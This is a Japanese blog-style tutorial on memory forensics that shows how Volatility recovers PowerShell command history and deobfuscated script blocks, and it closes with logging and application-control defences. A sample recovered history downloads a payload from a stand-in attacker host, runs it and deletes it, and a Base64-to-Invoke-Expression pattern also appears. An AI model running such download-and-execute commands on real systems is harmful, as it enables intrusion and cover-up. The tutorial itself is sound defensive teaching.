こんにちは!インシデントレスポンスやデジタルフォレンジックの世界へようこそ。
普段、アプリを作ったりインフラを管理したりしていると、「セキュリティ」ってなんだか難しくて壁が高く感じられますよね。「サーバーが破られたかも?」なんて想像するだけでも冷や汗が出てしまいます。
今回は、そんなセキュリティの世界でも特にドラマチックで、現場のエンジニアたちが熱くなる「メモリフォレンジック」のお話です。その中でも、攻撃者が大好きなのに、私たちフォレンジック調査員には丸裸にされてしまう「PowerShellのコマンド履歴とスクリプトの復元」について、身近な例えを交えながら優しく紐解いていきますね。
一歩ずつ、リラックスして読み進めていきましょう!
—
1. 家の鍵に例える「PowerShell」と「メモリ」の世界
まずは、今回の主役たちを身近なものに例えてみましょう。
- PowerShell(パワーシェル)とは?
Windowsに最初から入っている、超便利な「万能お助けツール」です。システム管理者が一瞬で大量の仕事を終わらせるための魔法の杖のようなものですが、裏を返すと、悪い人(攻撃者)にとっても「侵入した後にやりたい放題できる便利な道具」になってしまいます。
- メモリ(RAM)とは?
パソコンが今まさに動いている机の上のようなものです。パソコンの電源を切ると、机の上のメモはすべてシュレッダーにかけられて消えてしまいますよね。だから「電源を切る前」の机の上を写真に撮って保存しておくのが、メモリフォレンジックの基本なんです。
さて、泥棒があなたの家にこっそり侵入し、合い鍵を作ろうと工作したとします。泥棒は作業が終わると、証拠を隠すために部屋をきれいに片付け、ゴミ箱も空にして帰っていきました。ハードディスク(普段の物置)には、怪しいファイルは何も残っていません。
「よし、証拠隠滅成功!」と泥棒はほくそ笑むかもしれませんが……ちょっと待ってください。
もし、泥棒が作業している「まさにその瞬間」に、パッと部屋の電気をつけて机の上の状態を写真に収めたらどうでしょう?
ゴミ箱を空にしても、「今まさに使っていた道具」や「書いている途中のメモ」が机の上(メモリ)に散らばったままになっていますよね。
これが、メモリ上から攻撃の痕跡を見つけ出す仕組みなんです。
—
2. なぜ攻撃者はPowerShellを狙い、私たちはそこを見るのか?
攻撃者は、わざわざ怪しい専用のウイルスファイルを持ち歩きません。なぜなら、最近のセキュリティソフトは怪しいファイルをすぐに見つけて削除してしまうからです。
代わりに彼らは、Windowsに最初から入っている安全なツールであるPowerShellを悪用します。これをセキュリティ業界では「Living off the Land(現地調達)」なんてカッコいい言葉で呼んだりします。つまり、「そこにある道具で悪さをすれば、怪しまれないだろう」というわけです。
さらに厄介なことに、彼らは自分たちの悪事がバレないように、コードを暗号化したり、ぐちゃぐちゃに難読化(見づらく)して実行します。
しかし、どれだけ上手に難読化して隠れようとも、パソコンのCPUがそれを実行するためには、一度メモリ上で「元の読める形(平文)」に展開しなければならないという鉄則があります。
つまり、攻撃者がどれだけ巧妙に隠れても、机の上(メモリ)に文字起こしされた瞬間を捉えれば、何をしようとしたのかが丸わかりになるというわけです。
—
3. 実践!メモリからPowerShellの痕跡を掘り起こす
ここからは、実際に私たちが現場でどうやってその証拠を見つけ出しているのか、その一端を覗いてみましょう。
もちろん、実務や検証環境で試すときは、必ず許可された自分たちのサーバーやテスト機で行ってくださいね。
メモリの調査には、無料かつ強力なオープンソースのツールであるVolatility(ボラティリティ)や、Windowsの標準機能であるメモリダンプ(DumpItなど)がよく使われます。
ステップ1:怪しいPowerShellのプロセスを探す
まずは、メモリの中に「PowerShellが動いていた痕跡」があるかを探します。
# ボラティリティを使って、メモリ上のプロセス一覧を表示するイメージ
vol.py -f memory_dump.raw --profile=Win10x64_19041 pslist
ここで powershell.exe や pwsh.exe が見つかったら、そのプロセスが持っていた固有のID(PID)をメモします。
ステップ2:コマンドの履歴(ConsoleHost_history)を引っ張り出す
PowerShellには、ユーザーが打ったコマンドの履歴を自動で保存する機能があります。実はこれ、メモリ上にしっかりと残り続けています。
メモリダンプから特定のファイルを切り出すプラグイン(filescan や dumpfiles)を使うと、以下のような履歴ファイルが復元できます。
# 復元された履歴ファイルのイメージ(ConsoleHost_history.txt)
# 攻撃者が実行したであろう怪しいコマンドの数々が残されています
Get-Process
(New-Object System.Net.WebClient).DownloadFile('http://evil.example.com/payload.exe', 'C:\Temp\p.exe')
Start-Process 'C:\Temp\p.exe'
Remove-Item 'C:\Temp\p.exe'
おっと、見事にダウンロードして実行して、証拠を消そうとした痕跡が残っていますね。このように、ハードディスクから消されていても、メモリ上には残っていることがよくあるのです。
ステップ3:難読化されたスクリプトブロックの復元
もし攻撃者がファイルを使わず、メモリ上で直接スクリプトを実行していた場合はどうでしょうか?
Windowsには「Script Block Logging(イベントID 4104)」という強力なログ機能があります。これが有効になっていると、PowerShellがスクリプトを実行した瞬間の「展開された完全なコード」がメモリ(およびイベントログ)に記録されます。
難読化されて何が書いてあるか分からないコードも、メモリ上ではこのように裸の姿になります。
# 【注意:教育・検証用のサンプルです】
# 攻撃者がよく使う、難読化されたコードがメモリ上でほどけた状態のイメージ
$encodedCommand = "d3JpdGUtaG9zdCAnQXR0YWNrIGRldGVjdGVkISc="
# Base64でエンコードされた文字列をデコードして実行する処理
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedCommand))
# デコードされた中身をそのまま画面に出力・実行してしまう
Invoke-Expression $decoded
難読化の皮を一枚めくってしまえば、中身はただの文字列です。私たちアナリストは、この復元されたコードを見て「なるほど、この攻撃者はこういう通信をして、このフォルダを狙ったんだな」とストーリーを組み立てていきます。
—
4. 私たちが日常からできる「防犯対策」とは?
ここまでメモリフォレンジックのロロジックを見てきましたが、インシデント(事件)が起きてから調査する(フォレンジック)のは、やっぱり大変ですし時間もかかります。一番大切なのは、「事件が起きたときに証拠が残りやすくする設定」と「そもそも悪さをさせない仕組み」を作っておくことです。
現場のエンジニアや開発者の皆さんが、今日からでも取り組める対策をいくつか挙げておきますね。
1. PowerShellのロギングを強化する
- グループポリシーなどで「Script Block Logging」や「Module Logging」を有効に設定しておきましょう。これをしておくと、万が一のときにメモリだけでなくログ側にもしっかりと足跡が残ります。
2. 実行ポリシー(ExecutionPolicy)を過信しない
- 「ポリシーをかけてあるから安全」と思っていませんか? 攻撃者は簡単にこの制限をバイパスしてPowerShellを動かします。ポリシーはあくまで「うっかりミスを防ぐお守り」程度に考えましょう。
3. 不要な環境ではPowerShellの利用を制限する
- 一般の社員が使うPCなどで、業務上PowerShellが不要な場合は、AppLockerやWDAC(Windows Defender Application Control)などの機能を使って、そもそも実行できないようにロックしてしまうのが最も確実な防犯対策です。
—
まとめ
いかがでしたでしょうか?
「メモリフォレンジック」や「PowerShellのコマンド履歴抽出」と聞くと、なんだかハッカー映画に出てくるような難解な技術に思えますよね。でも、本質は「泥棒が机の上に置き忘れたメモを、電気を消される前に見つけ出す作業」と同じです。
セキュリティの対策も調査も、一歩ずつ仕組みを理解していけば、決して怖くありません。
日々の開発やインフラ構築の中で、「もしここで攻撃されたら、どこに足跡が残るだろう?」そんな視点をほんの少しだけ持って、安全で頑丈なシステムを一緒に作っていきましょう!
それでは、また次のセキュリティ解説でお会いしましょう!
コメント